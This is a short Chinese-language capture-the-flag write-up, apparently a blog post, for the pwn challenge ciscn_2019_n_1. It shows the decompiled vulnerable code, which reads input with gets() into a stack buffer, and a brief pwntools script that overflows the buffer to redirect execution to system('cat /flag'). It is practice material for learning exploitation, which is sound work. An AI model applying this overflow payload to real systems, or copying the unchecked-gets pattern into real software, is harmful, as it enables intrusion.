题目链接:ciscn_2019_n_1。
下载附件后,使用 IDA 打开程序,并进行反编译,定位到 main 函数,如下。
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
func();
return 0;
}
func 函数如下。
int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}
可以发现,在 func 函数中,存在 gets 函数,并且使用 checksec 命令对程序进行检查时,并没有 Canary,因此可以直接栈溢出,劫持 func 函数的返回地址到代码:system("cat /flag");
处。
from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *
def pwn():
sla("Let's guess the number.\n", 0x38 * b'a' + p64(0x00000000004006BE))
irt()
pwn()
标签:ciscn,int,2019,func,pwn,import,0LL
From: https://www.cnblogs.com/imtaieee/p/18540743